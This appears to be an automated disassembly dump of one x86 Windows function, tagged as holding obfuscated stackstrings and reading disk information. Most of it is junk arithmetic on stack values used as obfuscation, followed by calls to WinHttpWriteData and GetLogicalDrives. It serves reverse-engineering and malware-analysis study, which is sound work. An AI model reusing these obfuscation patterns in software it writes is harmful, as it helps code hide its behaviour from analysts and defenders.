Function at 0x402f67
Capabilities:
Contain obfuscated stackstrings
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x68]
sub esp, 0x150
mov dword [ebp - 0x98], 0x1154968f
mov dword [ebp - 0x44], 0x1696095d
mov dword [ebp - 0x20], 0x24e5f5f9
mov dword [ebp - 0xc], 0x4581409
mov dword [ebp - 0x90], 0x47b7ea83
mov dword [ebp - 0xc8], 0x60a07459
mov dword [ebp + 0x30], 0x477d1371
mov dword [ebp - 0x60], 0x78ba654e
mov dword [ebp + 0x18], 0x4424855b
mov dword [ebp - 0xc0], 0x287a235f
mov dword [ebp - 0x18], 0xb44b610
mov dword [ebp - 0x58], 0x2ac7263a
mov dword [ebp + 0x20], 0x30b9881c
mov dword [ebp - 0xcc], 0x3159374b
mov dword [ebp + 0x64], 0x8dc4015
mov dword [ebp - 0x34], 0x66686822
mov dword [ebp - 0x50], 0x5dbf66b
mov dword [ebp - 0x88], 0x62d0579a
mov dword [ebp + 0x4c], 0x15a56d62
mov dword [ebp - 0x10], 0x7539959
mov dword [ebp - 0xb8], 0x126bde74
mov dword [ebp - 0x94], 0x693fdbfe
mov dword [ebp + 0x48], 0x60e715a9
mov dword [ebp - 0xb0], 0x183e5a30
mov dword [ebp - 8], 0x49510954
mov dword [ebp + 0x38], 0x3d17aad1
mov dword [ebp - 0x48], 0x5f1f5162
mov dword [ebp - 0x4c], 0x1b9b82be
mov dword [ebp - 0x1c], 0x2263a1b8
mov dword [ebp - 0xb4], 0x28f8bfdd
mov dword [ebp], 0x3324b005
mov dword [ebp - 0xbc], 0x7fde855a
mov dword [ebp + 0x14], 0xcb72c25
mov dword [ebp - 0xac], 0x64fecc3b
mov dword [ebp + 0x34], 0x6af81cf7
mov dword [ebp + 0x24], 0x62d457a8
mov dword [ebp + 0x54], 0x2b561bdd
mov dword [ebp + 8], 0x7ffd07b3
mov dword [ebp - 0x80], 0x1780c5fc
mov dword [ebp - 0x2c], 0x75f22047
mov dword [ebp - 0x7c], 0x3203bf67
mov dword [ebp + 0x50], 0x229767fa
mov dword [ebp - 0x74], 0x40b64c0f
mov dword [ebp + 0x28], 0x802e461
mov dword [ebp - 0x9c], 0x1fd0e611
mov dword [ebp - 0x78], 0x5d8dacba
mov dword [ebp + 0x3c], 0x504aa376
mov dword [ebp - 0x40], 0x7983d1a6
mov dword [ebp - 0x54], 0x69fd889a
mov dword [ebp - 0x24], 0x6dfebf8e
mov dword [ebp - 0x14], 0x4e36b9e0
mov dword [ebp - 0xc4], 0x1a78d332
mov dword [ebp - 0x5c], 0x4c7bbe01
mov dword [ebp - 0x3c], 0x586f0c92
mov dword [ebp + 0x40], 0x53b1e864
mov dword [ebp - 0xa8], 0x6043d1a9
mov dword [ebp - 0x70], 0x17f3852f
mov dword [ebp + 4], 0x1c2122
mov dword [ebp - 0x38], 0x68581c3b
mov dword [ebp + 0x5c], 0x5b3fe642
mov dword [ebp - 0x84], 0x5605d5d
mov dword [ebp + 0x1c], 0x5fd39529
mov dword [ebp - 0x8c], 0x42eb8681
mov dword [ebp - 0x30], 0x22e18796
mov dword [ebp - 0x64], 0x475046b8
mov dword [ebp + 0x58], 0x5c98303a
mov dword [ebp - 0x6c], 0x521e7cdf
mov dword [ebp + 0x10], 0x31e0a3f7
mov dword [ebp - 0xa0], 0x4d9a43df
mov dword [ebp + 0x44], 0x1f912716
mov dword [ebp - 0xa4], 0x23f091e
mov dword [ebp - 4], 0x5a691388
mov dword [ebp + 0x2c], 0x470a9e98
mov dword [ebp - 0x28], 0x5b2b455e
mov dword [ebp - 0x68], 0x303aebea
mov dword [ebp + 0x60], 0x12b68fab
mov dword [ebp + 0xc], 0x25616e09
add dword [ebp - 0x44], 0x76861a4c
add dword [ebp - 0x20], 0x19c5928c
add dword [ebp - 0x44], 0x62e369f1
sub dword [ebp - 0x20], 0x50efae13
sub dword [ebp - 0x20], 0x59c38f4f
add dword [ebp - 0x98], 0x79e22fe9
sub dword [ebp - 0x20], 0xd9db3a6
add dword [ebp - 0x44], 0x64337dc3
mov eax, 0x753d166b
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add dword [ebp - 0x90], 0x3ae3031e
mov eax, 0x4f4f84b7
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, 0x21e4afdc
mul dword [ebp + 0x30]
mov eax, dword [ebp + 0x30]
mov eax, 0x3f77dde7
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
add dword [ebp - 0xc], 0x56ebc7c7
mov eax, 0x1a41daa1
mul dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
sub dword [ebp + 0x30], 0x33eb8987
sub dword [ebp - 0x18], 0x6f0bbfe1
add dword [ebp - 0x20], 0x82abf81
mov eax, 0x5ade0a80
mul dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
sub dword [ebp - 0x98], 0x297917c7
sub dword [ebp - 0x50], 0x2035d473
sub dword [ebp - 0x88], 0x481d7db8
sub dword [ebp - 0x58], 0x319ed7ed
add dword [ebp + 0x30], 0x4b7d6a32
sub dword [ebp - 0x20], 0x67f3fd25
mov eax, 0x11f28e6f
mul dword [ebp - 0xcc]
mov eax, dword [ebp - 0xcc]
mov eax, 0x111cd631
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
sub dword [ebp + 0x4c], 0x4d6b61e4
add dword [ebp - 0x44], 0x3c71df0
mov eax, 0x35706dec
mul dword [ebp + 0x48]
mov eax, dword [ebp + 0x48]
mov eax, 0x413948d6
mul dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
add dword [ebp - 0xb8], 0x4b210195
sub dword [ebp - 0x88], 0x13824e4e
add dword [ebp - 0xc0], 0x62fa1d24
add dword [ebp - 0x90], 0x414eb66f
mov eax, 0x60a5f0c1
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub dword [ebp + 0x64], 0x4b74471f
add dword [ebp - 0x34], 0x59b5d957
sub dword [ebp - 0x50], 0x4f483631
sub dword [ebp - 0x18], 0x28db0da6
sub dword [ebp + 0x30], 0x16d76c7e
mov eax, 0x62d548b6
mul dword [ebp]
mov eax, dword [ebp]
add dword [ebp - 0x18], 0x178c88d
mov eax, 0x21ec952b
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, 0x3c06f47
mul dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
add dword [ebp + 0x18], 0x7b5c06cb
sub dword [ebp + 0x14], 0x4fec3a7
sub dword [ebp - 0x4c], 0x5acefe01
sub dword [ebp - 0x98], 0x5d42e105
mov eax, 0x3ad547af
mul dword [ebp + 0x30]
mov eax, dword [ebp + 0x30]
mov eax, 0x2ddf9989
mul dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
add dword [ebp - 0x20], 0x2aade4a2
add dword [ebp + 0x30], 0xa2008a2
mov eax, 0x2e54956d
mul dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
sub dword [ebp + 0x4c], 0x6b817b40
add dword [ebp - 0x20], 0x43ecb734
add dword [ebp + 0x38], 0x63fd65c3
sub dword [ebp - 0x94], 0x4575a4b7
add dword [ebp - 0x10], 0x42af409e
mov eax, 0x2ca1fda6
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x50], 0x58996aa7
mov eax, 0x12430a0
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
add dword [ebp - 0x2c], 0x29fd4e81
sub dword [ebp - 0x4c], 0x61f1f91b
add dword [ebp - 0x4c], 0x835c96e
sub dword [ebp - 0xbc], 0x32ac6f7c
mov eax, 0x74534e4b
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0x1c], 0x64c9ff10
mov eax, 0xe15e270
mul dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
add dword [ebp + 8], 0x2c0e749b
sub dword [ebp - 0x94], 0x5ea46451
mov eax, 0x234da073
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
add dword [ebp - 0x10], 0x43215117
mov eax, 0x4b912ee2
mul dword [ebp + 0x38]
mov eax, dword [ebp + 0x38]
sub dword [ebp - 0x78], 0x1fb66689
sub dword [ebp - 0x24], 0x4d8e0f34
sub dword [ebp - 0xc4], 0xbfa626a
add dword [ebp - 0x54], 0x3d67ae7
sub dword [ebp - 0x88], 0x1d2c8ec8
add dword [ebp - 0x80], 0x3673a1c4
sub dword [ebp + 0x18], 0x5467c32c
add dword [ebp + 8], 0x1c6b8edb
mov eax, 0x4b2dee8e
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
sub dword [ebp - 0x24], 0x3552e2cc
add dword [ebp - 0xb8], 0x4b9f7250
sub dword [ebp - 0x14], 0x56d83e54
add dword [ebp - 0x7c], 0x6e65b750
mov eax, 0x3e160a7b
mul dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, 0x1b0d361e
mul dword [ebp - 0xcc]
mov eax, dword [ebp - 0xcc]
sub dword [ebp - 0xbc], 0x6649e882
sub dword [ebp - 0x24], 0x31efcdd2
mov eax, 0x2f3fb755
mul dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
add dword [ebp + 0x24], 0x45b65dd6
mov eax, 0x6f9ae08e
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
sub dword [ebp - 0x84], 0x2ab6b46a
add dword [ebp - 0x20], 0x9f45015
mov eax, 0x5ad01a6a
mul dword [ebp + 0x50]
mov eax, dword [ebp + 0x50]
sub dword [ebp + 0x20], 0x3a3186c7
mov eax, 0x5fe96e76
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, 0x7685b036
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, 0x1e37b01e
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, 0x33f1dc7f
mul dword [ebp + 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0x9c], 0x7385c118
mov eax, 0x72323da3
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x40], 0x2b94bb4c
add dword [ebp - 0x44], 0x3ff63ce7
sub dword [ebp - 0x90], 0x17966ce4
add dword [ebp - 0xa8], 0x4be6dc9f
sub dword [ebp - 0x80], 0x4cdbc189
mov eax, 0xba298d0
mul dword [ebp]
mov eax, dword [ebp]
mov eax, 0x1b2b004c
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0xc8], 0x4a4880c2
mov eax, 0x2bfe44ad
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, 0x7c98cbb9
mul dword [ebp + 0x3c]
mov eax, dword [ebp + 0x3c]
sub dword [ebp - 0xac], 0x15d4007c
mov eax, 0x5c7b707
mul dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, 0x10926e09
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
sub dword [ebp + 8], 0x29378466
add dword [ebp - 0xa8], 0x509da66c
add dword [ebp - 0xb4], 0x6173de1a
sub dword [ebp - 0xc0], 0x75e21ce6
mov eax, 0x4c43fe0c
mul dword [ebp + 0x50]
mov eax, dword [ebp + 0x50]
mov eax, 0x5c26b8b2
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp dword [0x4413c4], 0x9e
jne 0x4036c8
push esi
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
cmp dword [0x4413c4], 0xf76
jne 0x403689
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea ecx, [ebp - 0xe8]
call fcn.004037c9
push esi
call fcn.00403b4c
push esi
call fcn.00403b36
push esi
call fcn.00403a6c
push esi
push esi
call fcn.004039dd
push esi
call fcn.004039a9
push esi
call fcn.0040392d
add esp, 0x1c
lea ecx, [ebp - 0xe8]
call fcn.004037ea
pop esi
mov eax, dword [0x41060c]
mov dword [0x4413c4], eax
mov eax, dword [0x40e008]
mov dword [0x4417d8], eax
call fcn.00402c00
xor eax, eax
add ebp, 0x68
leave
ret 0x10